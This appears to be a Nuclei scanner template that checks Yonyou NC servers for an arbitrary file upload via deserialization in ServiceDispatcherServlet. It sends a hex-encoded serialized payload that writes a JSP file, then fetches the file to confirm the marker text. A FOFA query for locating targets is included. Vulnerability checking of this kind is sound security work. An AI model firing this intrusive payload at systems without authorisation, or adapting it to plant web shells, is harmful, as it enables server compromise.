id: yonyou-nc-dispatcher-fileupload

info:
  name: Yonyou NC ServiceDispatcher Servlet - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    Yonyou NC ServiceDispatcherServlet deserialization file upload vulnerability.
  reference:
    - https://github.com/lal0ne/vulnerability/blob/c0985107adfd91d85fbd76d9a8acf8fbfa98ed41/YonyouNC/ncDecode/README.md
  classification:
    cpe: cpe:2.3:a:yonyou:ufida-nc:*:*:*:*:*:*:*:*
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 2
    vendor: yonyou
    product: ufida-nc
    fofa-query: icon_hash="1085941792"
  tags: yonyou,intrusive,fileupload,vuln

http:
  - raw:
      - |
        POST /ServiceDispatcherServlet HTTP/1.1
        Content-Type: application/data
        Host: {{Hostname}}
        Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

        {{hex_decode("0000015C7271890390CEA362632F6E8819F73AC2FA807D6CAF41AE772EC2DF10A2AB43A4C7BAF2C7F57909B2C19D6CF5DE6E565331E70CB3C2E70A3AF6D1E3C4480035F870288D440C41742E3EC659DA538CC3CAA2AE86569D62D002D8CE52D7D184BE7556F95C7567C1AC40FDD7502AF38BAE48C14D6A4F473779542BD7D1072973C4CD093C6BC1D0266BE82F15EEB96D146BAF89297059448A2EDDDF63463984FFC2247032EAD18E03422B87A8CC01E651A50DD09A1DE3C87ED376B43366DE024EE3880B7006A56DF97073A7472B444FF53433DD0AE63758FEB43A808B49DA0CB5B23783C3DE07C5182D35CD467D9CA2081B47EB7F604E84A1B7DA7E665A2B5D6B04F94C838AF6AE6E4829304C2D750A0A1400860F9D7611BA8DEA77AE8C79AD44F90C55A74DD3D06D27B5F3A583E8C3FCC27FC8C9B660F0C3B52B76DB7B3A0B87D04FE98DF57D2851FD93F40D04A3DA14C658E5BCBD9DCB74E35AB50818EF")}}
      - |
        GET /ncupload/n2d19a.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "status_code_2 == 200 && contains(body_2,'just_a_test')"
        condition: and
# digest: 4a0a004730450220608f5c01d157ed122fb5a5a62bd8eb76c0f4f9d2be7cae80d1d9be86ce60d8c5022100fda2eae01825abc1f3dd785319adcfaa88cd1aeac1c95093623f4b3d84ab32d4:922c64590222798bb761d5b6d8e72950